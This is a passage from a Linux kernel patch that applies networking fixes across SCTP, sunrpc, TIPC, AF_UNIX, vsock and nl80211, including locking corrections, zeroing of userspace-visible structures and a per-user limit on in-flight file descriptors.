ASCONF chunk before processing it. */ - if (!sctp_verify_asconf(asoc, - (sctp_paramhdr_t *)((void *)addr_param + length), - (void *)chunk->chunk_end, - &err_param)) + if (!sctp_verify_asconf(asoc, chunk, true, &err_param)) return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, (void *)err_param, commands); @@ -3735,10 +3740,7 @@ sctp_disposition_t sctp_sf_do_asconf_ack(struct net *net, rcvd_serial = ntohl(addip_hdr->serial); /* Verify the ASCONF-ACK chunk before processing it. */ - if (!sctp_verify_asconf(asoc, - (sctp_paramhdr_t *)addip_hdr->params, - (void *)asconf_ack->chunk_end, - &err_param)) + if (!sctp_verify_asconf(asoc, asconf_ack, false, &err_param)) return sctp_sf_violation_paramlen(net, ep, asoc, type, arg, (void *)err_param, commands); @@ -4833,7 +4835,8 @@ sctp_disposition_t sctp_sf_do_9_1_prm_abort( retval = SCTP_DISPOSITION_CONSUME; - sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(abort)); + if (abort) + sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(abort)); /* Even if we can't send the ABORT due to low memory delete the * TCB. This is a departure from our typical NOMEM handling. @@ -4970,7 +4973,8 @@ sctp_disposition_t sctp_sf_cookie_wait_prm_abort( SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT)); retval = SCTP_DISPOSITION_CONSUME; - sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(abort)); + if (abort) + sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(abort)); sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE, SCTP_STATE(SCTP_STATE_CLOSED)); diff --git a/net/sctp/socket.c b/net/sctp/socket.c index dfb9b133e662c..bdc3fb66717de 100644 --- a/net/sctp/socket.c +++ b/net/sctp/socket.c @@ -1533,8 +1533,7 @@ SCTP_STATIC void sctp_close(struct sock *sk, long timeout) struct sctp_chunk *chunk; chunk = sctp_make_abort_user(asoc, NULL, 0); - if (chunk) - sctp_primitive_ABORT(net, asoc, chunk); + sctp_primitive_ABORT(net, asoc, chunk); } else sctp_primitive_SHUTDOWN(net, asoc, NULL); } @@ -1548,8 +1547,10 @@ SCTP_STATIC void sctp_close(struct sock *sk, long timeout) /* Supposedly, no process has access to the socket, but * the net layers still may. + * Also, sctp_destroy_sock() needs to be called with addr_wq_lock + * held and that should be grabbed before socket lock. */ - sctp_local_bh_disable(); + spin_lock_bh(&net->sctp.addr_wq_lock); sctp_bh_lock_sock(sk); /* Hold the sock, since sk_common_release() will put sock_put() @@ -1559,7 +1560,7 @@ SCTP_STATIC void sctp_close(struct sock *sk, long timeout) sk_common_release(sk); sctp_bh_unlock_sock(sk); - sctp_local_bh_enable(); + spin_unlock_bh(&net->sctp.addr_wq_lock); sock_put(sk); @@ -3508,6 +3509,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval, if ((val && sp->do_auto_asconf) || (!val && !sp->do_auto_asconf)) return 0; + spin_lock_bh(&sock_net(sk)->sctp.addr_wq_lock); if (val == 0 && sp->do_auto_asconf) { list_del(&sp->auto_asconf_list); sp->do_auto_asconf = 0; @@ -3516,6 +3518,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval, &sock_net(sk)->sctp.auto_asconf_splist); sp->do_auto_asconf = 1; } + spin_unlock_bh(&sock_net(sk)->sctp.addr_wq_lock); return 0; } @@ -4007,18 +4010,28 @@ SCTP_STATIC int sctp_init_sock(struct sock *sk) local_bh_disable(); percpu_counter_inc(&sctp_sockets_allocated); sock_prot_inuse_add(net, sk->sk_prot, 1); + + /* Nothing can fail after this block, otherwise + * sctp_destroy_sock() will be called without addr_wq_lock held + */ if (net->sctp.default_auto_asconf) { + spin_lock(&sock_net(sk)->sctp.addr_wq_lock); list_add_tail(&sp->auto_asconf_list, &net->sctp.auto_asconf_splist); sp->do_auto_asconf = 1; - } else + spin_unlock(&sock_net(sk)->sctp.addr_wq_lock); + } else { sp->do_auto_asconf = 0; + } + local_bh_enable(); return 0; } -/* Cleanup any SCTP per socket resources. */ +/* Cleanup any SCTP per socket resources. Must be called with + * sock_net(sk)->sctp.addr_wq_lock held if sp->do_auto_asconf is true + */ SCTP_STATIC void sctp_destroy_sock(struct sock *sk) { struct sctp_sock *sp; @@ -6955,6 +6968,22 @@ void sctp_copy_sock(struct sock *newsk, struct sock *sk, newinet->mc_ttl = 1; newinet->mc_index = 0; newinet->mc_list = NULL; + + if (newsk->sk_flags & SK_FLAGS_TIMESTAMP) + net_enable_timestamp(); +} + +static inline void sctp_copy_descendant(struct sock *sk_to, + const struct sock *sk_from) +{ + int ancestor_size = sizeof(struct inet_sock) + + sizeof(struct sctp_sock) - + offsetof(struct sctp_sock, auto_asconf_list); + + if (sk_from->sk_family == PF_INET6) + ancestor_size += sizeof(struct ipv6_pinfo); + + __inet_sk_copy_descendant(sk_to, sk_from, ancestor_size); } /* Populate the fields of the newsk from the oldsk and migrate the assoc @@ -6971,7 +7000,6 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, struct sk_buff *skb, *tmp; struct sctp_ulpevent *event; struct sctp_bind_hashbucket *head; - struct list_head tmplist; /* Migrate socket buffer sizes and all the socket level options to the * new socket. @@ -6979,12 +7007,7 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, newsk->sk_sndbuf = oldsk->sk_sndbuf; newsk->sk_rcvbuf = oldsk->sk_rcvbuf; /* Brute force copy old sctp opt. */ - if (oldsp->do_auto_asconf) { - memcpy(&tmplist, &newsp->auto_asconf_list, sizeof(tmplist)); - inet_sk_copy_descendant(newsk, oldsk); - memcpy(&newsp->auto_asconf_list, &tmplist, sizeof(tmplist)); - } else - inet_sk_copy_descendant(newsk, oldsk); + sctp_copy_descendant(newsk, oldsk); /* Restore the ep value that was overwritten with the above structure * copy. @@ -7128,6 +7151,13 @@ struct proto sctp_prot = { #if IS_ENABLED(CONFIG_IPV6) +#include +static void sctp_v6_destroy_sock(struct sock *sk) +{ + sctp_destroy_sock(sk); + inet6_destroy_sock(sk); +} + struct proto sctpv6_prot = { .name = "SCTPv6", .owner = THIS_MODULE, @@ -7137,7 +7167,7 @@ struct proto sctpv6_prot = { .accept = sctp_accept, .ioctl = sctp_ioctl, .init = sctp_init_sock, - .destroy = sctp_destroy_sock, + .destroy = sctp_v6_destroy_sock, .shutdown = sctp_shutdown, .setsockopt = sctp_setsockopt, .getsockopt = sctp_getsockopt, diff --git a/net/sctp/sysctl.c b/net/sctp/sysctl.c index fe0ba7488bdf5..29299dcabfbb7 100644 --- a/net/sctp/sysctl.c +++ b/net/sctp/sysctl.c @@ -368,8 +368,7 @@ static int proc_sctp_do_auth(struct ctl_table *ctl, int write, tbl.data = &net->sctp.auth_enable; ret = proc_dointvec(&tbl, write, buffer, lenp, ppos); - - if (write) { + if (write && ret == 0) { struct sock *sk = net->sctp.ctl_sock; net->sctp.auth_enable = new_value; diff --git a/net/sctp/ulpevent.c b/net/sctp/ulpevent.c index 10c018a5b9fee..ca907f2f5e5ae 100644 --- a/net/sctp/ulpevent.c +++ b/net/sctp/ulpevent.c @@ -373,9 +373,10 @@ struct sctp_ulpevent *sctp_ulpevent_make_peer_addr_change( * specification [SCTP] and any extensions for a list of possible * error formats. */ -struct sctp_ulpevent *sctp_ulpevent_make_remote_error( - const struct sctp_association *asoc, struct sctp_chunk *chunk, - __u16 flags, gfp_t gfp) +struct sctp_ulpevent * +sctp_ulpevent_make_remote_error(const struct sctp_association *asoc, + struct sctp_chunk *chunk, __u16 flags, + gfp_t gfp) { struct sctp_ulpevent *event; struct sctp_remote_error *sre; @@ -394,8 +395,7 @@ struct sctp_ulpevent *sctp_ulpevent_make_remote_error( /* Copy the skb to a new skb with room for us to prepend * notification with. */ - skb = skb_copy_expand(chunk->skb, sizeof(struct sctp_remote_error), - 0, gfp); + skb = skb_copy_expand(chunk->skb, sizeof(*sre), 0, gfp); /* Pull off the rest of the cause TLV from the chunk. */ skb_pull(chunk->skb, elen); @@ -406,62 +406,21 @@ struct sctp_ulpevent *sctp_ulpevent_make_remote_error( event = sctp_skb2event(skb); sctp_ulpevent_init(event, MSG_NOTIFICATION, skb->truesize); - sre = (struct sctp_remote_error *) - skb_push(skb, sizeof(struct sctp_remote_error)); + sre = (struct sctp_remote_error *) skb_push(skb, sizeof(*sre)); /* Trim the buffer to the right length. */ - skb_trim(skb, sizeof(struct sctp_remote_error) + elen); + skb_trim(skb, sizeof(*sre) + elen); - /* Socket Extensions for SCTP - * 5.3.1.3 SCTP_REMOTE_ERROR - * - * sre_type: - * It should be SCTP_REMOTE_ERROR. - */ + /* RFC6458, Section 6.1.3. SCTP_REMOTE_ERROR */ + memset(sre, 0, sizeof(*sre)); sre->sre_type = SCTP_REMOTE_ERROR; - - /* - * Socket Extensions for SCTP - * 5.3.1.3 SCTP_REMOTE_ERROR - * - * sre_flags: 16 bits (unsigned integer) - * Currently unused. - */ sre->sre_flags = 0; - - /* Socket Extensions for SCTP - * 5.3.1.3 SCTP_REMOTE_ERROR - * - * sre_length: sizeof (__u32) - * - * This field is the total length of the notification data, - * including the notification header. - */ sre->sre_length = skb->len; - - /* Socket Extensions for SCTP - * 5.3.1.3 SCTP_REMOTE_ERROR - * - * sre_error: 16 bits (unsigned integer) - * This value represents one of the Operational Error causes defined in - * the SCTP specification, in network byte order. - */ sre->sre_error = cause; - - /* Socket Extensions for SCTP - * 5.3.1.3 SCTP_REMOTE_ERROR - * - * sre_assoc_id: sizeof (sctp_assoc_t) - * - * The association id field, holds the identifier for the association. - * All notifications for a given association have the same association - * identifier. For TCP style socket, this field is ignored. - */ sctp_ulpevent_set_owner(event, asoc); sre->sre_assoc_id = sctp_assoc2id(asoc); return event; - fail: return NULL; } @@ -906,7 +865,9 @@ __u16 sctp_ulpevent_get_notification_type(const struct sctp_ulpevent *event) return notification->sn_header.sn_type; } -/* Copy out the sndrcvinfo into a msghdr. */ +/* RFC6458, Section 5.3.2. SCTP Header Information Structure + * (SCTP_SNDRCV, DEPRECATED) + */ void sctp_ulpevent_read_sndrcvinfo(const struct sctp_ulpevent *event, struct msghdr *msghdr) { @@ -915,74 +876,21 @@ void sctp_ulpevent_read_sndrcvinfo(const struct sctp_ulpevent *event, if (sctp_ulpevent_is_notification(event)) return; - /* Sockets API Extensions for SCTP - * Section 5.2.2 SCTP Header Information Structure (SCTP_SNDRCV) - * - * sinfo_stream: 16 bits (unsigned integer) - * - * For recvmsg() the SCTP stack places the message's stream number in - * this value. - */ + memset(&sinfo, 0, sizeof(sinfo)); sinfo.sinfo_stream = event->stream; - /* sinfo_ssn: 16 bits (unsigned integer) - * - * For recvmsg() this value contains the stream sequence number that - * the remote endpoint placed in the DATA chunk. For fragmented - * messages this is the same number for all deliveries of the message - * (if more than one recvmsg() is needed to read the message). - */ sinfo.sinfo_ssn = event->ssn; - /* sinfo_ppid: 32 bits (unsigned integer) - * - * In recvmsg() this value is - * the same information that was passed by the upper layer in the peer - * application. Please note that byte order issues are NOT accounted - * for and this information is passed opaquely by the SCTP stack from - * one end to the other. - */ sinfo.sinfo_ppid = event->ppid; - /* sinfo_flags: 16 bits (unsigned integer) - * - * This field may contain any of the following flags and is composed of - * a bitwise OR of these values. - * - * recvmsg() flags: - * - * SCTP_UNORDERED - This flag is present when the message was sent - * non-ordered. - */ sinfo.sinfo_flags = event->flags; - /* sinfo_tsn: 32 bit (unsigned integer) - * - * For the receiving side, this field holds a TSN that was - * assigned to one of the SCTP Data Chunks. - */ sinfo.sinfo_tsn = event->tsn; - /* sinfo_cumtsn: 32 bit (unsigned integer) - * - * This field will hold the current cumulative TSN as - * known by the underlying SCTP layer. Note this field is - * ignored when sending and only valid for a receive - * operation when sinfo_flags are set to SCTP_UNORDERED. - */ sinfo.sinfo_cumtsn = event->cumtsn; - /* sinfo_assoc_id: sizeof (sctp_assoc_t) - * - * The association handle field, sinfo_assoc_id, holds the identifier - * for the association announced in the COMMUNICATION_UP notification. - * All notifications for a given association have the same identifier. - * Ignored for one-to-one style sockets. - */ sinfo.sinfo_assoc_id = sctp_assoc2id(event->asoc); - - /* context value that is set via SCTP_CONTEXT socket option. */ + /* Context value that is set via SCTP_CONTEXT socket option. */ sinfo.sinfo_context = event->asoc->default_rcv_context; - /* These fields are not used while receiving. */ sinfo.sinfo_timetolive = 0; put_cmsg(msghdr, IPPROTO_SCTP, SCTP_SNDRCV, - sizeof(struct sctp_sndrcvinfo), (void *)&sinfo); + sizeof(sinfo), &sinfo); } /* Do accounting for bytes received and hold a reference to the association diff --git a/net/socket.c b/net/socket.c index 9f53f2810ad6e..57e2b83146d4b 100644 --- a/net/socket.c +++ b/net/socket.c @@ -2028,14 +2028,12 @@ static int ___sys_sendmsg(struct socket *sock, struct msghdr __user *msg, int err, ctl_len, total_len; err = -EFAULT; - if (MSG_CMSG_COMPAT & flags) { - if (get_compat_msghdr(msg_sys, msg_compat)) - return -EFAULT; - } else { + if (MSG_CMSG_COMPAT & flags) + err = get_compat_msghdr(msg_sys, msg_compat); + else err = copy_msghdr_from_user(msg_sys, msg); - if (err) - return err; - } + if (err) + return err; if (msg_sys->msg_iovlen > UIO_FASTIOV) { err = -EMSGSIZE; @@ -2240,14 +2238,12 @@ static int ___sys_recvmsg(struct socket *sock, struct msghdr __user *msg, struct sockaddr __user *uaddr; int __user *uaddr_len; - if (MSG_CMSG_COMPAT & flags) { - if (get_compat_msghdr(msg_sys, msg_compat)) - return -EFAULT; - } else { + if (MSG_CMSG_COMPAT & flags) + err = get_compat_msghdr(msg_sys, msg_compat); + else err = copy_msghdr_from_user(msg_sys, msg); - if (err) - return err; - } + if (err) + return err; if (msg_sys->msg_iovlen > UIO_FASTIOV) { err = -EMSGSIZE; diff --git a/net/sunrpc/auth_gss/gss_rpc_xdr.c b/net/sunrpc/auth_gss/gss_rpc_xdr.c index f0f78c5f1c7d9..e0062c544ac84 100644 --- a/net/sunrpc/auth_gss/gss_rpc_xdr.c +++ b/net/sunrpc/auth_gss/gss_rpc_xdr.c @@ -794,20 +794,26 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, { u32 value_follows; int err; + struct page *scratch; + + scratch = alloc_page(GFP_KERNEL); + if (!scratch) + return -ENOMEM; + xdr_set_scratch_buffer(xdr, page_address(scratch), PAGE_SIZE); /* res->status */ err = gssx_dec_status(xdr, &res->status); if (err) - return err; + goto out_free; /* res->context_handle */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { err = gssx_dec_ctx(xdr, res->context_handle); if (err) - return err; + goto out_free; } else { res->context_handle = NULL; } @@ -815,11 +821,11 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, /* res->output_token */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { err = gssx_dec_buffer(xdr, res->output_token); if (err) - return err; + goto out_free; } else { res->output_token = NULL; } @@ -827,14 +833,17 @@ int gssx_dec_accept_sec_context(struct rpc_rqst *rqstp, /* res->delegated_cred_handle */ err = gssx_dec_bool(xdr, &value_follows); if (err) - return err; + goto out_free; if (value_follows) { /* we do not support upcall servers sending this data. */ - return -EINVAL; + err = -EINVAL; + goto out_free; } /* res->options */ err = gssx_dec_option_array(xdr, &res->options); +out_free: + __free_page(scratch); return err; } diff --git a/net/sunrpc/auth_gss/svcauth_gss.c b/net/sunrpc/auth_gss/svcauth_gss.c index 29b4ba93ab3cb..62663a08ffbd2 100644 --- a/net/sunrpc/auth_gss/svcauth_gss.c +++ b/net/sunrpc/auth_gss/svcauth_gss.c @@ -859,8 +859,8 @@ unwrap_integ_data(struct svc_rqst *rqstp, struct xdr_buf *buf, u32 seq, struct g goto out; if (svc_getnl(&buf->head[0]) != seq) goto out; - /* trim off the mic at the end before returning */ - xdr_buf_trim(buf, mic.len + 4); + /* trim off the mic and padding at the end before returning */ + xdr_buf_trim(buf, round_up_to_quad(mic.len) + 4); stat = 0; out: kfree(mic.data); diff --git a/net/sunrpc/backchannel_rqst.c b/net/sunrpc/backchannel_rqst.c index eff6f00844a67..459d756bbd6dc 100644 --- a/net/sunrpc/backchannel_rqst.c +++ b/net/sunrpc/backchannel_rqst.c @@ -60,7 +60,7 @@ static void xprt_free_allocation(struct rpc_rqst *req) dprintk("RPC: free allocations for req= %p\n", req); WARN_ON_ONCE(test_bit(RPC_BC_PA_IN_USE, &req->rq_bc_pa_state)); - xbufp = &req->rq_private_buf; + xbufp = &req->rq_rcv_buf; free_page((unsigned long)xbufp->head[0].iov_base); xbufp = &req->rq_snd_buf; free_page((unsigned long)xbufp->head[0].iov_base); diff --git a/net/sunrpc/cache.c b/net/sunrpc/cache.c index 80fe5c86efd12..a4266b9b2429c 100644 --- a/net/sunrpc/cache.c +++ b/net/sunrpc/cache.c @@ -930,7 +930,7 @@ static unsigned int cache_poll(struct file *filp, poll_table *wait, poll_wait(filp, &queue_wait, wait); /* alway allow write */ - mask = POLL_OUT | POLLWRNORM; + mask = POLLOUT | POLLWRNORM; if (!rp) return mask; @@ -1221,7 +1221,7 @@ int qword_get(char **bpp, char *dest, int bufsize) if (bp[0] == '\\' && bp[1] == 'x') { /* HEX STRING */ bp += 2; - while (len < bufsize) { + while (len < bufsize - 1) { int h, l; h = hex_to_bin(bp[0]); diff --git a/net/sunrpc/svcsock.c b/net/sunrpc/svcsock.c index 422759bae60d6..5c62c5e89b463 100644 --- a/net/sunrpc/svcsock.c +++ b/net/sunrpc/svcsock.c @@ -683,6 +683,7 @@ static struct svc_xprt_class svc_udp_class = { .xcl_owner = THIS_MODULE, .xcl_ops = &svc_udp_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_UDP, + .xcl_ident = XPRT_TRANSPORT_UDP, }; static void svc_udp_init(struct svc_sock *svsk, struct svc_serv *serv) @@ -1275,6 +1276,7 @@ static struct svc_xprt_class svc_tcp_class = { .xcl_owner = THIS_MODULE, .xcl_ops = &svc_tcp_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_TCP, + .xcl_ident = XPRT_TRANSPORT_TCP, }; void svc_init_xprt_sock(void) diff --git a/net/sunrpc/xprt.c b/net/sunrpc/xprt.c index a2ab84e2dc5f1..7a2be83962714 100644 --- a/net/sunrpc/xprt.c +++ b/net/sunrpc/xprt.c @@ -1290,7 +1290,7 @@ struct rpc_xprt *xprt_create_transport(struct xprt_create *args) } } spin_unlock(&xprt_list_lock); - printk(KERN_ERR "RPC: transport (%d) not supported\n", args->ident); + dprintk("RPC: transport (%d) not supported\n", args->ident); return ERR_PTR(-EIO); found: diff --git a/net/sunrpc/xprtrdma/svc_rdma_transport.c b/net/sunrpc/xprtrdma/svc_rdma_transport.c index 62e4f9bcc3871..ed36cb52cd867 100644 --- a/net/sunrpc/xprtrdma/svc_rdma_transport.c +++ b/net/sunrpc/xprtrdma/svc_rdma_transport.c @@ -89,6 +89,7 @@ struct svc_xprt_class svc_rdma_class = { .xcl_owner = THIS_MODULE, .xcl_ops = &svc_rdma_ops, .xcl_max_payload = RPCSVC_MAXPAYLOAD_TCP, + .xcl_ident = XPRT_TRANSPORT_RDMA, }; struct svc_rdma_op_ctxt *svc_rdma_get_context(struct svcxprt_rdma *xprt) diff --git a/net/tipc/bcast.c b/net/tipc/bcast.c index e5f3da5078236..bf2755419ec6f 100644 --- a/net/tipc/bcast.c +++ b/net/tipc/bcast.c @@ -531,6 +531,7 @@ void tipc_bclink_recv_pkt(struct sk_buff *buf) buf = node->bclink.deferred_head; node->bclink.deferred_head = buf->next; + buf->next = NULL; node->bclink.deferred_size--; goto receive; } diff --git a/net/tipc/socket.c b/net/tipc/socket.c index 2b1d7c2d677d3..e0cb5edc6d1d9 100644 --- a/net/tipc/socket.c +++ b/net/tipc/socket.c @@ -1528,6 +1528,7 @@ static int accept(struct socket *sock, struct socket *new_sock, int flags) res = tipc_create(sock_net(sock->sk), new_sock, 0, 0); if (res) goto exit; + security_sk_clone(sock->sk, new_sock->sk); new_sk = new_sock->sk; new_tsock = tipc_sk(new_sk); diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c index 62e38195b1bd9..d142f66ad309c 100644 --- a/net/unix/af_unix.c +++ b/net/unix/af_unix.c @@ -1467,7 +1467,7 @@ static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb) UNIXCB(skb).fp = NULL; for (i = scm->fp->count-1; i >= 0; i--) - unix_notinflight(scm->fp->fp[i]); + unix_notinflight(scm->fp->user, scm->fp->fp[i]); } static void unix_destruct_scm(struct sk_buff *skb) @@ -1484,6 +1484,21 @@ static void unix_destruct_scm(struct sk_buff *skb) sock_wfree(skb); } +/* + * The "user->unix_inflight" variable is protected by the garbage + * collection lock, and we just read it locklessly here. If you go + * over the limit, there might be a tiny race in actually noticing + * it across threads. Tough. + */ +static inline bool too_many_unix_fds(struct task_struct *p) +{ + struct user_struct *user = current_user(); + + if (unlikely(user->unix_inflight > task_rlimit(p, RLIMIT_NOFILE))) + return !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN); + return false; +} + #define MAX_RECURSION_LEVEL 4 static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) @@ -1492,6 +1507,9 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) unsigned char max_level = 0; int unix_sock_count = 0; + if (too_many_unix_fds(current)) + return -ETOOMANYREFS; + for (i = scm->fp->count - 1; i >= 0; i--) { struct sock *sk = unix_get_socket(scm->fp->fp[i]); @@ -1513,10 +1531,8 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) if (!UNIXCB(skb).fp) return -ENOMEM; - if (unix_sock_count) { - for (i = scm->fp->count - 1; i >= 0; i--) - unix_inflight(scm->fp->fp[i]); - } + for (i = scm->fp->count - 1; i >= 0; i--) + unix_inflight(scm->fp->user, scm->fp->fp[i]); return max_level; } @@ -2047,6 +2063,10 @@ static long unix_stream_data_wait(struct sock *sk, long timeo, unix_state_unlock(sk); timeo = freezable_schedule_timeout(timeo); unix_state_lock(sk); + + if (sock_flag(sk, SOCK_DEAD)) + break; + clear_bit(SOCK_ASYNC_WAITDATA, &sk->sk_socket->flags); } @@ -2092,20 +2112,17 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock, memset(&tmp_scm, 0, sizeof(tmp_scm)); } - err = mutex_lock_interruptible(&u->readlock); - if (unlikely(err)) { - /* recvmsg() in non blocking mode is supposed to return -EAGAIN - * sk_rcvtimeo is not honored by mutex_lock_interruptible() - */ - err = noblock ? -EAGAIN : -ERESTARTSYS; - goto out; - } + mutex_lock(&u->readlock); do { int chunk; struct sk_buff *skb, *last; unix_state_lock(sk); + if (sock_flag(sk, SOCK_DEAD)) { + err = -ECONNRESET; + goto unlock; + } last = skb = skb_peek(&sk->sk_receive_queue); again: if (skb == NULL) { @@ -2131,12 +2148,12 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock, timeo = unix_stream_data_wait(sk, timeo, last); - if (signal_pending(current) - || mutex_lock_interruptible(&u->readlock)) { + if (signal_pending(current)) { err = sock_intr_errno(timeo); goto out; } + mutex_lock(&u->readlock); continue; unlock: unix_state_unlock(sk); @@ -2204,8 +2221,20 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock, if (UNIXCB(skb).fp) siocb->scm->fp = scm_fp_dup(UNIXCB(skb).fp); - sk_peek_offset_fwd(sk, chunk); + if (skip) { + sk_peek_offset_fwd(sk, chunk); + skip -= chunk; + } + if (UNIXCB(skb).fp) + break; + + last = skb; + unix_state_lock(sk); + skb = skb_peek_next(skb, &sk->sk_receive_queue); + if (skb) + goto again; + unix_state_unlock(sk); break; } } while (size); diff --git a/net/unix/garbage.c b/net/unix/garbage.c index 9bc73f87f64a3..a72182d6750f5 100644 --- a/net/unix/garbage.c +++ b/net/unix/garbage.c @@ -122,12 +122,15 @@ struct sock *unix_get_socket(struct file *filp) * descriptor if it is for an AF_UNIX socket. */ -void unix_inflight(struct file *fp) +void unix_inflight(struct user_struct *user, struct file *fp) { struct sock *s = unix_get_socket(fp); + + spin_lock(&unix_gc_lock); + if (s) { struct unix_sock *u = unix_sk(s); - spin_lock(&unix_gc_lock); + if (atomic_long_inc_return(&u->inflight) == 1) { BUG_ON(!list_empty(&u->link)); list_add_tail(&u->link, &gc_inflight_list); @@ -135,22 +138,27 @@ void unix_inflight(struct file *fp) BUG_ON(list_empty(&u->link)); } unix_tot_inflight++; - spin_unlock(&unix_gc_lock); } + user->unix_inflight++; + spin_unlock(&unix_gc_lock); } -void unix_notinflight(struct file *fp) +void unix_notinflight(struct user_struct *user, struct file *fp) { struct sock *s = unix_get_socket(fp); + + spin_lock(&unix_gc_lock); + if (s) { struct unix_sock *u = unix_sk(s); - spin_lock(&unix_gc_lock); + BUG_ON(list_empty(&u->link)); if (atomic_long_dec_and_test(&u->inflight)) list_del_init(&u->link); unix_tot_inflight--; - spin_unlock(&unix_gc_lock); } + user->unix_inflight--; + spin_unlock(&unix_gc_lock); } static void scan_inflight(struct sock *x, void (*func)(struct unix_sock *), diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c index 9b88693bcc991..66a9bf52fac63 100644 --- a/net/vmw_vsock/af_vsock.c +++ b/net/vmw_vsock/af_vsock.c @@ -1804,27 +1804,8 @@ vsock_stream_recvmsg(struct kiocb *kiocb, else if (sk->sk_shutdown & RCV_SHUTDOWN) err = 0; - if (copied > 0) { - /* We only do these additional bookkeeping/notification steps - * if we actually copied something out of the queue pair - * instead of just peeking ahead. - */ - - if (!(flags & MSG_PEEK)) { - /* If the other side has shutdown for sending and there - * is nothing more to read, then modify the socket - * state. - */ - if (vsk->peer_shutdown & SEND_SHUTDOWN) { - if (vsock_stream_has_data(vsk) <= 0) { - sk->sk_state = SS_UNCONNECTED; - sock_set_flag(sk, SOCK_DONE); - sk->sk_state_change(sk); - } - } - } + if (copied > 0) err = copied; - } out_wait: finish_wait(sk_sleep(sk), &wait); diff --git a/net/wireless/chan.c b/net/wireless/chan.c index b9c4b5c1347b2..f09d8061b8849 100644 --- a/net/wireless/chan.c +++ b/net/wireless/chan.c @@ -340,7 +340,7 @@ bool cfg80211_chandef_usable(struct wiphy *wiphy, { struct ieee80211_sta_ht_cap *ht_cap; struct ieee80211_sta_vht_cap *vht_cap; - u32 width, control_freq; + u32 width, control_freq, cap; if (WARN_ON(!cfg80211_chandef_valid(chandef))) return false; @@ -372,7 +372,8 @@ bool cfg80211_chandef_usable(struct wiphy *wiphy, return false; break; case NL80211_CHAN_WIDTH_80P80: - if (!(vht_cap->cap & IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ)) + cap = vht_cap->cap & IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_MASK; + if (cap != IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ) return false; case NL80211_CHAN_WIDTH_80: if (!vht_cap->vht_supported) @@ -383,7 +384,9 @@ bool cfg80211_chandef_usable(struct wiphy *wiphy, case NL80211_CHAN_WIDTH_160: if (!vht_cap->vht_supported) return false; - if (!(vht_cap->cap & IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160MHZ)) + cap = vht_cap->cap & IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_MASK; + if (cap != IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160MHZ && + cap != IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ) return false; prohibited_flags |= IEEE80211_CHAN_NO_160MHZ; width = 160; diff --git a/net/wireless/nl80211.c b/net/wireless/nl80211.c index 4db9ee0ac5f1a..4eb6e739fe137 100644 --- a/net/wireless/nl80211.c +++ b/net/wireless/nl80211.c @@ -2701,6 +2701,9 @@ static int nl80211_get_key(struct sk_buff *skb, struct genl_info *info) if (!rdev->ops->get_key) return -EOPNOTSUPP; + if (!pairwise && mac_addr && !(rdev->wiphy.flags & WIPHY_FLAG_IBSS_RSN)) + return -ENOENT; + msg = nlmsg_new(NLMSG_DEFAULT_SIZE, GFP_KERNEL); if (!msg) return -ENOMEM; @@ -2720,10 +2723,6 @@ static int nl80211_get_key(struct sk_buff *skb, struct genl_info *info) nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, mac_addr)) goto nla_put_failure; - if (pairwise && mac_addr && - !(rdev->wiphy.flags & WIPHY_FLAG_IBSS_RSN)) - return -ENOENT; - err = rdev_get_key(rdev, dev, key_idx, pairwise, mac_addr, &cookie, get_key_callback); @@ -2894,7 +2893,7 @@ static int nl80211_del_key(struct sk_buff *skb, struct genl_info *info) wdev_lock(dev->ieee80211_ptr); err = nl80211_key_allowed(dev->ieee80211_ptr); - if (key.type == NL80211_KEYTYPE_PAIRWISE && mac_addr && + if (key.type == NL80211_KEYTYPE_GROUP && mac_addr && !(rdev->wiphy.flags & WIPHY_FLAG_IBSS_RSN)) err = -ENOENT; @@ -4155,6 +4154,16 @@ static int nl80211_new_station(struct sk_buff *skb, struct genl_info *info) if (parse_station_flags(info, dev->ieee80211_ptr->iftype, ¶ms)) return -EINVAL; + /* HT/VHT requires QoS, but if we don't have that just ignore HT/VHT + * as userspace might just pass through the capabilities from the IEs + * directly, rather than enforcing this restriction and returning an + * error in this case. + */ + if (!(params.sta_flags_set & BIT(NL80211_STA_FLAG_WME))) { + params.ht_capa = NULL; + params.vht_capa = NULL; + } + /* When you run into this, adjust the code below for the new flag */ BUILD_BUG_ON(NL80211_STA_FLAG_MAX != 7); @@ -11112,7 +11121,7 @@ static int nl80211_netlink_notify(struct notifier_block * nb, struct wireless_dev 